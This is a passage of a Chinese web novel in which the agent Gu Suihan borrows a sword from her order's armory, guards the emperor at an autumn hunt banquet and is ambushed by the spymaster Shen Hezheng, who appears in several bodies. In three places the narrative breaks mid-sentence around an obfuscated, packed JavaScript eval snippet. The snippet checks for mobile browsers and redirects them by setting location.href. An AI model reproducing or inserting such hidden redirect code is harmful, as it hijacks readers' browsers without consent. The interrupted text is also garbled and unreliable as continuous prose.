沈和正的阴影一直像乌云一样盘踞在落棋阁的所有人之上。连张首晟都曾经悲观地说沈和正狡诈如狐,无人能赢。 而她现在要潜入狐巢,从这老狐狸的下巴掏出她要的明珠。 她听见“自己”的呼吸都乱了几拍。但也就是这几拍而已,几息之后,“自己”心中似乎忽然找到了定海神针似的,慢慢地平稳了下来,呼吸也恢复了原来轻而稳的节拍。 她听见“自己”说:“不,我不能放弃。” “现在全落棋阁只有我一个人能完成这件事。宋将军还在沙场征战,无数大盛儿女还在因为那柄邪剑死而无依,魂飞魄散。” “我一定要做到。没了这把剑,前线的压力至少能轻不少。” “阿爹阿娘,保佑我吧。” 想完这些,“自己”就仿佛进入了一种神奇的、类似入定般的状态,脑子中的畏惧和胡思乱想都少了很多。 在“自己”身体里的顾岁寒感到了一种微微的惊奇。 原来曾经的自己,只需要靠这样简单的、哄骗似的话语就能找到心中的方向,好像看到了水中月的猴子,在心中的胜景前又唱又跳。 而“自己”的月亮,就是“自己是有用的,有人需要自己”。 好年轻的锐意,好一往无前的决心。 而这样的自己,却最终在沈和正的折磨之下,说出那样尊严尽失的话。 虽然顾岁寒自认为现在自己的脸皮已然厚如城墙,但这并不代表她不对过去的自己感到惋惜。 那样一个骄傲的,才华横溢的少女,就此沉没在时光的长河中,留在了他人口中的故事里。 甚至连她自己,对她的记忆都已经模糊不清。 残阳如血,远山染黛。 顾岁寒沐浴在光中,隔着手指间的缝隙看着渐渐没入山顶的斜阳。 她第一次如此迫切地想找回自己的记忆。 至少、至少…… 她想在过去的时光里打捞起她自己,给自己写个墓志铭。 看管武器库的白棋正支着脑袋昏昏欲睡,就感到有人进来了,瞬间打起精神:“有什么……欸,执棋大人!” 顾岁寒定睛一看,发现居然是熟人:“小八?你不是跟在蒋侍棋身边做事的吗?” 在武器库当班的正是当初驾车带她和谢停舟去韩府的小八,顾岁寒对他的碎嘴子记忆犹新。 小八挠挠头不好意思地笑了:“执棋久不在阁中,定然是不记得了,武器库的值守一直是大家伙轮班的,今天正好轮到了我。” 顾岁寒若有所思,“那排班是按什么排的?有固定的表吗?” 小八连连答应:“有的有的,我找找……” 他在桌子下一阵翻找,翻到了一个破破烂烂的本子递了过来。顾岁寒顺着日期往回翻,找到了自己想要的—— 当日在武器库值守的,是个名叫小七的黑棋。 顾岁寒又往后翻了翻,那小七再也没出现在表上过。她微微一顿,随后面无异色地递回了本子:“好,我知道了。对了,我能进库里看看吗?” 小八连忙说:“当然可以,执棋!我来给执棋开门。” 他颠颠地把身后厚重的红木大门打开,躬身请她进去。 门打开的瞬间,一股冷铁的锈味扑面而来。顾岁寒一步踏进去,就被里面高抵房梁的木架震慑到了。密密麻麻的刀、剑,还有各种旁门左道的暗器,都分门别类地收纳好,静静俯卧在架子上,像一座座无字的墓碑。 她一路往里走去,目光快速从架子上掠过。走到最深处时,她的目光在一个凌乱的架子面前停住了。她微微一顿:“这个武器架,为什么这么乱?” 小八连忙上来解释:“执棋有所不知,这些都是有问题的武器,比如说刀柄松动啊,还有剑豁刃了啦,归还时都会暂时放在这里,每过一段时间就会有专门的人拿走修理,实在修不了的就直接回熔炉了。” 顾岁寒心思微微一动:“那会不会有人来取武器时,不小心拿走了报废的?” 小八连连摆手:“不会的不会的。弟子们来这里取武器时,都是先在门口那里填好表,再由负责值守的弟子进来拿。值守的弟子手上都有武器摆放位置的图表,是不会有有错的。” 顾岁寒微微沉吟,小八看她似乎仍有疑惑,于是道:“执棋还有什么不解的吗?在下可尽力解答。” 顾岁寒若有所思地看了他一眼:“你知道小七吗?” 此话一出,小八脸色大变:“执……执棋为何问这?” “你不是说会尽力解答的吗?”顾岁寒似笑非笑,“我就随口一问。小七名字和你如此像,怎么,你们认识?” 第一次看到那个名字时她就有所猜测。落棋阁不时兴给弟子们取代号,大家都是用自己进阁之前的名字互相称呼,小七小八数字相连,很有可能是哪个穷苦人家的兄弟起的贱名。 她本意只是随口一问,没想到小八反应激烈,这才起了兴致。小八在她的目光下脸色渐渐涨红了,却不是羞涩的红,而是愤怒的红。 “小,小七那混账原是在下的表兄弟,家中穷苦,我二人又恰巧被姬师姐看中,就将我俩一同卖进了阁中。那混账进来后就被分作了黑棋,和我不甚往来,结果,这厮不仅出卖了阁里的兄弟,还扮作了在下的模样!当真可气!” 顾岁寒挑眉:“哦?怎么个扮作你法?” 小八又叽里咕噜说了一长串,大意是自姬泠死后一两个月,蒋奚先是怀疑她的冤案是因为阁里出了内鬼,暗中自查了一番,结果还真找到了,但和姬泠一案无关——问题出在西南落棋阁分舵,那时小七小八都刚刚出师,为分舵效力。小七作为黑棋,往来诸镇之间收集白棋们的消息,而小八则在阁里做分舵主的副手。 而问题就出在小七身上——西南是南盛和妖修之国滇南国的接壤地,滇南看落棋阁深-入自家国土的信息网不爽已久,一直想找机会掀翻。 而当时的小八,在分舵有一定地位,且掌握滇南各地情报,自然成为了滇南的不二之选。几番接触之下,滇南终于联系上了“小八”,并许以重金作为报酬。出乎滇南意料的是,“小八”很爽快地就答应了。 西南分舵的不少消息就此流到了滇南手中,但幸运的事,“小八”被策反后不久,落棋阁就开始自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256652|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查内鬼,将“小八”和“小八”联络的一整条滇南暗线都连根拔起。真相大白的那一日,滇南才发现,自己一直心心念念成功策反的“小八”事实上是同样掌握不少消息的小七。 小七被落棋阁惩处后,小八被曾担任过西南分舵主的蒋奚看中,提到总舵当了自己的副手,这才有了今天这一幕。 听完,顾岁寒好奇道:“当时滇南暗线的人都没起疑?小七和你掌握的信息范围压根不一样大吧?” 小八苦笑:“据说他管辖范围外的消息,他也杜撰了不少,在加上通敌时间又短,才没被发现……不过这也是我推测的了,因为我也高低算事内人之一,所以很多事都没有告知我。” 顾岁寒顺口问:“那小七现在在哪里呢?” 小八垂下眼:“听蒋侍棋说,应该是被秘密处决了吧……阁里虽然给了我们丰厚的报酬,但那是在忠于阁内的情况下,不是吗?” 顾岁寒“啊”了一声:“节哀。” “没什么好哀的。”小八淡淡的,“我们俩很小就进了阁,之后他在黑棋,我在白棋,交集很少,也没什么感情。我就是气他用我的名头骗人。” 顾岁寒叹了口气,不说话了。两个人在木架见狭长的廊道里走到了底,转身向来路走去。 快到门口时,顾岁寒的余光瞥见架子顶端的一丝银光,不由驻足:“……那时什么?” “嗯?”小八闻言驻足,低头从自己怀里掏出了一张纸。顾岁寒瞥了一眼,注意到那应该是库里武器具体的摆放图。小八比照了片刻,迟疑道:“这应该是阁里哪位前辈自己的兵器,没有在图上写明……执棋稍等,我拿下来给您看看。” 说罢还未等顾岁寒反应,他就提气纵身上跃,在书架间几个接力,取下了那样东西,轻轻落到地面,双手奉给了顾岁寒。 顾岁寒本来想夸他轻功好,但注意力却先行被那东西吸引了——那是一柄长剑,剑鞘饰以幽蓝色的贝母,看起来寒气逼人。她的态度不知为何审慎了起来,双手接过那把剑,将剑鞘上固定用的皮扣打开,将内里的剑身拔-出-来了两寸。 但出人意料的是,这柄剑剑鞘还称得上华丽,剑身一眼看去却是朴实无华。顾岁寒将剑翻了个面,才看出来一丝端倪。 这剑应当属硬剑一类,剑身不能弯折。但锻剑的剑师技艺非凡,在保证剑自身的刚硬度之下将剑身锻打水磨至极薄,侧面看去几乎如纸片薄厚。这对剑师的技术要求极高,绝非一眼看去那样平平无奇。 可以想见,这剑用起来应当是极轻而灵的,剑主很有可能是个身形轻灵的人,剑招应该也很快。顾岁寒并指抚过剑铭——因为剑身实在太薄,为保证剑刃根-部的强度,这剑铭甚至是阳刻的。 “霜……尘?”她眯眼,念出了剑铭的两字。话出口时,她福至心灵,接上了下句,“一穹星霜,一身尘灰。推我柴扉,问我何归……?” 风尘仆仆的旅人星夜兼程回到家中,阔别多年的家人却不愿相认,问旅人,为何归来? 听她念诗,小八惊奇地看了她一眼,迟疑地张大了嘴:“……啊?” “没什么。”顾岁寒合上了剑,还是有点恋恋不舍,“你把剑放回去吧,既然是前辈的东西,我也不好妄动。” “没有关系的,”小八热情道,“如果是重要的东西的话,前辈们走的时候都会带走的,这剑既然在武器库内,就是可以随意借用的意思。” 顾岁寒踌躇片刻,最终还是没能抵御过内心对于此剑的喜爱,勉强道:“那你把表给我吧,我暂且借用这剑一段时间。” 小八自然是极殷勤地取来了表。顾岁寒在“借用物”中填了“剑一柄”,签名时第一笔却起成了一撇。顾岁寒微微一愣,补上了一横,才将名字顺利签好。 小八将武器库门关好,鞠躬将顾岁寒送走。顾岁寒拎着剑,走到天光下时,还有种不真实感。 爱剑在手,她却有一种微妙的不踏实感,打算先把剑放回自己在宋安澜府上的屋子里再说。她从缩地千里阵回了侯府,一路上没遇见什么人,畅通无阻地回房将剑收好。结果她刚出来没走几步,就遇见了侯府的一个家将着急忙慌地跑过来,见到是她,大松一口气。 “末将见传送阵有余波震动,猜是执棋已然回府,这才来寻找,”那家将气息紊乱,喘了几口才继续说,“——侯爷有急事相找,还望执棋前往书房一叙!” 15. 清平乐 三 “所以说……陛下的意思是……”顾岁寒觉得有点难以相信自己的耳朵,“因为他害怕沈和正,所以哪怕暂时错过碎曦剑的消息,他也要把我留在他身边看护?” 宋安澜烦躁地揉了揉眉心:“他是这个意思……我就奇了怪了,他以前也不是这么胆小的性子,怎么如今变成这样了?” 偌大的书房里,顾岁寒看着宋安澜的脸,只觉得匪夷所思:“——殿下,要不你反了吧,我支持你做皇帝。” 短短醒来半个月,她就已经听说这小皇帝的诸多昏聩之举了,这还了得? 宋安澜挥了挥手:“乱说什么呢,一天天没轻没重的……这件事的决定权在你,我就是来通知一下宋礼这王-八蛋的想法,毕竟落棋阁的令牌在我手上,他再怎么说也要给我两分薄面。” 话是这么说,但在场的两人都心知肚明。宋安澜此前为了腹中胎儿的事已经和宋礼起了一次争端,现下再为了顾岁寒这么一点不算特别紧要的事忤逆宋礼,对君臣之间关系有害无利。 书房里一时间安静了下来。暖黄的阳光打在窗纸上,树叶的影斑随着时间缓缓挪移。顾岁寒看着这宁静的一幕,只觉得心乱如麻。 一方面,听说了碎曦剑的消息,她确实很想过去查探一番。碎曦的消息能到她手里,就迟早能到归雁台手里,她不敢再冒一次碎曦被抢走的险;另一方面,虽然宋安澜张口闭口“小王-八蛋”“小混账”地称呼宋礼,但她知道宋安澜内心深处还是很宠爱这个一母同胞的弟弟的,不然凭她的火爆性子,不会在腹中胎儿之事上一让再让。 ——但说实在的,单从她一个局外人的角度来说,宋礼对宋安澜的感情未必像宋安澜对他那样深厚。宋安澜这样,当断不断,必受其乱。 顾岁寒看着宋安澜,几次三番想开口劝解一下她不要对宋礼那样用心,但最终还是没有出口。他们帝王家事,她一个外人插嘴又算什么呢?有些事宋安澜心里未必不清楚,她点明了反而有可能讨嫌。 宋安澜看她几次三番欲言又止,却是会错了意思,以为她态度在松动,不由得软声道:“梅臣,就帮我这一次,好吗?” ——明明帮你不止这一次了吧。顾岁寒在内心小声吐槽,却不得不承认自己肯定还是会帮她。宋安澜救性命,之后又前前后后照料了数月,哪怕没有小时候的情分,顾岁寒也会报答她这恩情。再三思量后,顾岁寒投降了:“——殿下,你和我说说,这秋猎宴到底是怎么一回事。” 这话就要从去年说起了。 去岁,北周与南盛之间统共发生了大大小小十数次争端,其中最大的一次便是发生在北周夺走碎曦剑之后。北周因为魔修众多,一度在修士较少的南盛面前占尽优势,但战事每到后期,便十分乏力。 究其原因有二:第一,北周大部分疆土地处极北,气候苦寒,百姓多以放牧为业,因而粮食稀少,受天时影响大,所以无力支撑持-久的战事。 其二,倘若北周打过了大结界线,线那边的浊气极度稀少,魔修施展法力的源头没了,天然优于南盛修士的能力便消失了。 是以,虽然次次战事刚开始都是北周占上风,但只要南盛这边顶住压力,多撑几日,最终北周往往也讨不到什么便宜。 今年年初,北周铁血手腕的老皇帝突然病危,国事暂由太子接管。老皇帝多疑,是以太子也选的是个优柔的,接管国事之后渐渐就有些弹压不住朝中众臣。 太子摇摇欲坠地撑了大半年,最终还是露了颓势,据传上月北周朝中差点哗变。就在这千钧一发之际,太子忽然灵光一现,向南盛伸来了求援之手。 只要南盛能帮助他站稳脚跟,他就有办法让北周向南盛交岁贡,两国友好邦交,自此不起战事。 而沈和正一行人,就是太子派来讲和的使臣。 “等一下,”听到这里顾岁寒疑惑道,“我虽然很多事情都记不太清了,但北周朝中的状况还是知道一些的。你刚刚提到这小太子手段优柔,那他又是有什么权力能让北周和南盛交好的?而且他老子是病了又不是死了,能眼睁睁地看着这事发生?” “这我就不知道了,退一百万步说,你信不信不要紧,反正我那个傻瓜弟弟是信了。”提到这宋安澜也是烦躁地揉了揉鼻梁,“那小太子应该是提前写过信给宋礼,我要过,他不肯给我看。但要我说,就凭他能差遣得动沈和正为他出使,这小太子就不像想象中那样简单。落棋阁里没有这方面的信息吗?” “没有,”顾岁寒诚恳道,“殿下都说了是沈和正相关的事了,落棋阁就更不可能有了。” 沈和正对于落棋阁而言就像一个蒙着黑布的戏法箱,众人只能望而兴叹,不敢伸手进去试——因为前人都已经证明了,伸手的人都没有什么好下场。 “唉,”宋安澜越想越是烦恼,单手握拳往桌案上重重地锤了一下,“真是的……那么话又讲回来了,秋猎宴的时候陛下会在上林苑接见沈和正一行人,他想请你从旁看护,行不行?” “可以是可以的……”但是沈和正是来讲和的,要是他真想对宋礼下手,岂不是违背了他出使的初衷?退一万步讲,就算他真对宋礼做了什么,以她那点能力也拦不住啊? 但宋安澜显然听见她前面的答案就已经十分满意了:“那就好,梅臣,我就这样回宋礼了。” 顾岁寒:“……是,殿下,那我去和谢侍棋提一下,北疆之行恐要延后几日。” “哦,那个,你不用说了,”宋安澜大手一挥,“宋礼那边也派人和他说了秋猎的事,当天所有还在临安休沐的将军都会来,他肯定也会在。” 顾岁寒眉角跳了跳:…… 不得不说,跟他姐相比,宋礼这胆子实在是太小了。 几日后,秋猎宴当天。 顾岁寒坐在茂密的树冠间,一身翠绿几乎和树冠融为一体。她遥遥看着为宴席忙碌往来的宫人们,一时之间百感交集。 虽然时过境迁,节气变幻,但这位置还是如此熟悉。 秋猎是南盛自前朝传下来的传统,本意是为了让皇族男儿不要只坐书斋中,也要常习武义。但到了现在,已经是形式大于意义。先帝在时,连续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蹲好之后,她发现刚刚入场的是韩玉青夫妇。那天去韩玉青府上时顾岁寒没见到他,如今一看,果然是一表人才,不愧是状元郎出身;姬漓也是盛装陪同,光彩照人。这一对郎才女貌,恍若天上神仙,十分养眼。 世人第一眼都会喜欢外表更亮丽的人,顾岁寒也不能免俗。她看着这二位在场中一路攀谈,不由得面露微笑。这一对和刚刚宋安澜二人正好相反,上来攀谈的武将少而文臣多。顾岁寒看着,心里渐渐就有了数。 其实之前宋安澜就跟她提过韩玉青现下执掌江南文臣一派牛耳之事,但不如她亲眼所见来得直观。江南本就文风兴盛,书院众多,考学进入朝中的也大多会因为同乡互相提携,是以朝中拉帮结派之风盛行,尤以江南文臣为主。少有的北方学子入朝为官,也因为人数稀少、品阶较低不成气候。 顾岁寒正暗中思忖朝中暗波汹涌的派别关系,那种阴毒的目光就又跗骨之蛆似的追了上来。这次她反应极快,在对方未收回目光时就正正好和他对上了眼神! 那人见被她逮了个正着,却也不惧,微微挑眉露出了一个挑衅的笑容。但顾岁寒在脑中思索了一圈,却并没有找到对应的脸。 ……他是自己失忆前的熟人吗? 16. 清平乐 四 这个疑惑注定暂时无果了。 那男人不怀好意的目光很快就移开了,但顾岁寒后颈还是隐隐有种被窥视的起鸡皮疙瘩的感觉。 一阵凉风吹来,推来一片乌云遮住了阳光,宴席上顿时暗了下来。顾岁寒不祥的预感愈发强烈,思量再三,她把展锋拔出鞘,将它一分为二握在手里,心里才稍微安定下来。 很快就要到开宴的时间,司乐府也开始奏乐。宫人们流水般送上各色小点酒水,众臣喧哗,一派和乐,如果不看天气,便是好一幅热闹图景。 顾岁寒看着场内,不知为何心跳得很快。她舔了舔自己的虎牙,思量片刻,用指尖在自己的耳廓背面画了个半圆,过了一会,感觉画过的地方微微热了起来,才说:“清文,沈和正那边现在怎样?” ——这是落棋阁的黑棋们出任务时互相联络的方法,称为“应声虫”,是将彼此关联的符咒画在耳朵上,便可以在想联络时听到彼此声音。 这是谢停舟来落棋阁之后新研究的小玩意,这次也是第一次用。来之前谢停舟特意上门让她小心使用,不要太过依赖,担心会出岔子。 话说出去之后,顾岁寒等了好一会,差点以为这符咒真要出问题时,那黑棋的话断断续续地传回来了:“……沈……一直在……执……放心。” 顾岁寒:“……”好吧,不能说很完美,但也能用。 按照礼部的安排,沈和正从驿站出来后,跟着众臣的车队上了山,现下应该在上林苑的一处偏殿里等候召见。顾岁寒因为要看顾皇帝这边,没办法兼顾到偏殿,只好支了手下远远盯着一点。 希望不要出什么岔子。 不知道是不是上天听见了她的心愿,时间一路平平顺顺地推到了开宴,顾岁寒这下也是见到了一直活在宋安澜描述中的皇帝。 出人意料的是,这宋礼应当是继承了他们家一贯的好相貌,长得十分仪表堂堂,一点都看不出来端庄皮囊下那点畏畏缩缩的胆量。不知是说到了何处,皇帝举杯祝酒,其下众臣纷纷起身回礼。 那酒杯刚放下,顾岁寒就听见礼官远远唱道:“宣——北周使团——觐见——” 礼钟“当——”地一声,余音在山谷间回响,震得顾岁寒脑中隐隐作痛。她不由得伸手微微捂住耳朵,余光中,一群人浩浩荡荡地从正门进到席间,领头的正是沈和正。 ——那是一种直觉般的认知。明明在此之前,她完全记不起沈和正的样子,但见到他时,顾岁寒就立刻断定了他的身份。 看清他的脸的瞬间,一种无来由的,撕裂般的痛感在她脑中炸开。顾岁寒脸色瞬间变得惨白,浑身打起了细细的冷战,差点一个重心不稳从树上掉下去。 与此同时,沈和正也向她这边看了过来。 她看见沈和正微微挑起嘴角,冲她说了句什么,随后又若无其事地将头转了回去,向皇帝恭敬行礼,一揖到地。 顾岁寒呆呆地坐在原地。头还在痛。而那四个字化作了有如实质般的声音,在她脑中盘旋,仿佛吐着信子的毒蛇,向她张开了名为命运的深渊巨口。 他说:“找,到,你,了。” 剑刃破空声在她耳中如惊雷般炸响。顾岁寒背手抽刀抵住,却在看清来者的脸时震惊地睁大了眼。 宴席中,不少武将都在沈和正出现的那一瞬间警戒了起来。不同于落棋阁在南盛的低调,归雁台在北周可谓是无人不知无人不晓。它在北周的地位高到代替了部分原本归于刑部的职能,周帝甚至可以直接支使它越过朝中的繁琐程序直接处决自己的心腹之患。 归雁台就是周帝用来将权力紧紧握在自己手中的爪牙,而沈和正就是那爪牙上最为锋利的一根。 他的武功高,心计深,大名在不少武将那里也是如雷贯耳,宋安澜这种在暗线上也和他打过交道的人更不必说。几乎是沈和正刚一露面,她就在桌子底下将自己的佩剑拔出了一寸。 不过出人意料的是,那沈和正竟然什么出格的事都没做。无数双眼睛明里暗里地盯着他,而他仿佛毫无所觉似的,一路施施然走进来,行礼动作行云流水,竟然还有几分赏心悦目。 不知道是不是场内外里三层外三层的护卫给了宋礼底气,他看起来也不像前两日巴巴地找宋安澜给他派人时那么不安了。 他人五人六地看着沈和正一行人行礼,面上露出一个笑容:“甚好,甚好。朕久闻沈司马大名,今日一见,果然是一表人才。甲寅,赐座。” 这话一出,宋安澜才注意到,今日在宋礼和皇后身边服侍的都不是太监宫女之类,而是宋礼自己的玄衣卫。这支卫队里都是大内高手,效忠于皇帝一人。 有落棋阁的人帮忙看护还不够,居然还把玄衣卫叫到了明面上。宋安澜微微扶额,感觉自己亲弟这坨烂泥恐怕真要扶不上墙。 想到落棋阁时,她下意识往远处顾岁寒藏的那棵树看了一眼,就收回了目光,大脑却是慢于行动一秒,意识到了问题。 她猛地又抬起头向那棵树看过去。 树冠上空空如也,顾岁寒不在上面。 她脑中“嗡”的一声,意识到可能要出事。 顾岁寒当然不在树上,她在树下。 时间推回到顾岁寒“看见”沈和正那句话时,她精神震动,完全没注意到有人在半空中从后面接近了她。等到她听到武器的破空声时,反击已经来不及了。 好在她之前已经把展锋拔出了鞘,匆匆之间拿起双刀中的一把反手抵住对方的剑,再借着两人兵器相交时那点力迅速抽身,在树干上几个借力,稳稳落到了地面。 另一把本来放在她膝头的刀失了主人,一路叮呤咣啷地掉了下来。 偷袭的人似乎也没有要乘势追的意思,御风而行,脚尖轻点落到了顾岁寒刚刚蹲的那个树杈上,轻得树叶都没有抖动一下。 只是一个交手,顾岁寒就已经落了下风。一上一下,一个狼狈丢了武器,一个衣角都没皱一下,高下已分。 那人冲她微微一笑:“几月不见,侍棋——哦不,现在是执棋了。执棋的武功似乎退步不少啊。” 顾岁寒却没有搭理他的嘲笑。原因无他,不过十来丈开外,有一张和这人一样的脸正在和席上的皇帝谈笑风生。风送来了二人爽朗的笑声,也将她背上的冷汗吹得一片冰冷。 “……你,”顾岁寒逼自己紧紧盯着他的眼睛,试图从里面看出一丝破绽,但她失败了,“到底是谁?” “我是谁?”那人仿佛听见了什么世上最好笑的笑话一般,脸上的笑容止都止不住。 那笑容不是嘲笑,也不是讽笑,硬要顾岁寒形容的话,就好像是慈祥的长辈听见小辈闯祸时,那种宠溺的、包容的笑意。 他就用那种令她毛骨悚然的慈祥笑意,对她说:“执棋大人,我以为你在落棋阁这么多年,已经学会了不再相信人的皮相。” 顾岁寒不为所动:“我会认人皮面具,易容的法术也都了解。你,还有里面的他,你们都是归雁台的雁主,我不会认错。” 沈和正闻言哈哈大笑:“我什么时候说过我们两人中有人是假的了?” 话音刚落,他的身影就从原地消失,下一秒就出现在了顾岁寒面前。她瞳孔骤缩,下意识就想往后退,结果刚退一步,她就撞到了一个温热坚实的胸膛上。 她猛地回头,差点失声惊叫——不知何时,她的背后也出现了一个沈和正。两个沈和正就这样温和地、怜悯地看着她,叫她头皮止不住地发麻。 顾岁寒咬住了自己的舌尖,强迫自己冷静下来,却一下用过了劲,一时之间嘴里全是铁锈味。她忍着疼,皮笑肉不笑道:“没有假的,难不成这世上有这么多个沈雁主?那雁主自己就能租一个归雁台了,还要手下那些劳什子做甚?” 沈和正看着她牙上粘的一点血,就猜到她色厉内荏,但也不戳穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272077|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是微微一笑:“那可说不定。” 说罢,他骤然出手,一剑直取她面门。顾岁寒也摸清了他一惊一乍的风格,早就防着他突然发难,一刀架了上去。 刀剑相交,发出一阵叫人牙酸的摩-擦声,却并没能止住剑前刺的趋势。顾岁寒咬牙顶着力把刀往上一别,使了个巧劲,这才堪堪顶住了剑身。 刚刚说话时还看不出来,一动武,她就看出来了这几个沈和正不一样的地方——唯一一个动剑的开始用武功之后,另外一个就像瞬间痴呆了一般定在了原地,脸上的表情凝固住了,看起来有点滑稽。 刹那间顾岁寒就想明白了——她说此三人中有假的,至少一定程度上没说错,最有用的只有她面前这一人,剩下的都算残次品,至少用不了武功。 但即使她想通了这一点也没办法。她和沈和正的力气相差太大,在这种纯粹的力量角逐中,她根本不占优势。顾岁寒感觉自己的手腕已经开始微微发-抖,正四下里观察该如何卸力才能暂时脱开战局时,沈和正却忽然自己收了力。 好在顾岁寒人虽轻,下盘却稳,才没被这一下撤力带偏。她还没来得及惊愕,那原本木僵般的“沈和正”就忽然活泛起来。她反应不及,被那“沈和正”一掌拍中了后心窝。 她原本就重伤刚醒,气血亏虚,被这带着真元的一掌拍得直接眼前一黑,双膝一软就往前倒,被面前这沈和正接住。 刹那间顾岁寒的恐惧达到了顶峰,没有人比她更知道落进沈和正手中意味着什么。 黑暗的刑房、凄厉的哭喊,一幕幕记忆深处的影像走马灯似的在她眼前闪过。那恐惧带来了一种近乎回光返照的力量,她咬紧牙关,脚发力一蹬地,竟凭着这点蛮力将沈和正硬生生顶得退了两步! 这显然是沈和正始料未及的。他面上露出一点惊愕来:“你……” 话还没出口,远远的就有声音喊:“梅臣——” 顾岁寒心念微微一动。这声音是宋安澜的,她和沈和正在这边制造出的动静不小,恐怕是惊动了席上的人。 再看沈和正,却是一点都不慌张。他只是颇为玩味地看着在原地粗-喘的顾岁寒,露出了一个眼熟的、不怀好意的笑。 他说:“真有意思……执棋从我牢中逃出,伤却好得如此之快……有意思。” “我们会再见的。” 话音刚落,他的身影就在原地消失,没入深林之中。而顾岁寒眼前发黑,再也支撑不住,软软地倒在了地上。 晕过去前,她听见宋安澜脚步声,于是彻底放下心来,任自己坠入黑甜的梦乡。 “殿下你别着急,顾执棋真的没事,您别老探她鼻息……” “我怎么能不着急?”这是宋安澜的声音,她话里有浓重的鼻音,听起来似乎是哭过。顾岁寒感到新奇——她心目中宋安澜一直是个十分强大的形象,流泪和她风风火火的性格似乎并不匹配。 “阿泠就死在我面前,我什么都做不到。好,我认了,她一心求死,我拦不住。可是梅臣是我亲自派去上林苑的,她遇到了这样的事,我怎么能不着急?” 听起来姬昀在从旁劝慰:“沈和正居然能一分为三这种事,咱们怎么能预料到呢?蒋奚和小船都去查了,你也先缓缓……” 顾岁寒刚刚醒来,就听见床边有人争执。她好像刚从一场乱梦中醒来,梦里似乎有很多悲伤的事。 她费力想要回忆梦中事,但不知为何,当她想要细细思索时,梦境的内容便如流沙般在记忆的指缝中流走了。喉咙里干得好像要烧起来一样,她轻轻咳了两声,惊动了宋安澜。 她惊喜地回过身来:“梅臣?你醒了?饿不饿,要不要吃点什么东西?有没有哪里不舒服?” 顾岁寒说不出话,只好费力地抽出自己的手,指了指喉咙。宋安澜不明所以,还是姬昀先反应了过来,倒了杯温水塞给她,让她喂给顾岁寒润润嗓子。 17. 清平乐 五 顾岁寒在两个人关切的目光下一点点把水喝完,才费力地开口:“……这是哪里?” 话说急了,她又被水呛到,撕心裂肺地咳了起来。 “今天的宴会已经结束了,这是我在行宫的房间。”宋安澜抚着她的背,帮她把水顺下去,“但陛下那里还在等回话,梅臣,你能跟我说说你那边到底遇到什么事了吗?” 顾岁寒没有开口,只是看着她,宋安澜被她盯得有些发毛,但也不知道问题在哪里,只好硬着头皮问:“怎么了?这么看着我,有什么事不好说吗?” 窗外猛得起了一阵大风,树叶被刮得沙沙作响。顾岁寒抿了抿唇,这几天发生的事在她脑海中走马灯似的闪过。 抓陈筑那天,宋安澜这边也不太平。作为她的亲弟弟,当今陛下似乎也很忌惮这个手握兵权、在民间也颇有声望的姐姐。宋安澜一有身孕,宋礼就握住了一个天大的把柄。 从那天宋安澜和姬昀争执的内容不难看出,宋礼很想用有身孕的事拿捏住她,让她暂时回不了北疆,想借此事将流落在长姐手中的兵权取回来。 但此事有两处不妥。其一,宋安澜为保稳妥,请脉向来有自己的郎中,只有顾岁寒重伤不醒时才请过宫里的医修诊治。宋礼手上只有一个目前能力还有限的玄衣卫,而宋安澜可是有整个落棋阁为之效力,她有孕的消息到底是怎么长了翅膀似的飞到宋礼手上的? 其二,北疆战事刚歇,宋礼到底是为什么如此着急要换掉主帅?宋安澜在镇北军中的威望就这么让他如芒刺背吗? 要知道,虽然宋酿之后盛人对于女官的接受度高了很多,那也是仅限于女官上。宋家这一代只有宋礼一个男丁,宋安澜不可能弃了宋礼另立新帝;而女子为帝是前所未有之事,宋礼到底为什么会这么害怕自己的姐姐? 和宋安澜这几月相处下来,顾岁寒早已摸清此人是个外刚内柔的,对亲近之人尤是。宋礼以腹中胎儿威胁她时,她虽然口口声声“臭小子”,说要堕了胎直接回北疆,实际上却是处处退让以求两全之法。最直接的证明是,争吵发生后不过两天,宋礼说自己要借顾岁寒,宋安澜也就二话不说地把她叫去帮忙了。 连顾岁寒都能看出来的事,她不相信宋礼这个亲弟弟看不出来。那么,宋礼到底为什么会猪油蒙了心似的,非要惹自己姐姐不痛快? 之后,从宋安澜口中听到沈和正出使一事时——等等,为什么这么大的事她会是从宋安澜口中听说的? 一个在这几天被忙昏了头的顾岁寒遗忘的事,逐渐在她脑中浮出水面。 敌国来使不是小事,哪怕沈和正能力再高超,将这件事瞒得再好,北周朝中不可能一点风吹草动都没有。落棋阁在北周朝廷是有安排白棋的,而且不止一个,但那几日一群白棋都跟哑巴了一样,什么消息都没有。 排除掉这群人都变成痴呆的可能,最终的答案只剩一个——出使一事,看起来如此冠冕堂皇,实则是沈和正自己的主意,那小太子知不知道都不好说。只有这样,这件事才能避开落棋阁的耳目,先被宋礼所知,再由宋礼转达给宋安澜,最后被她知道。 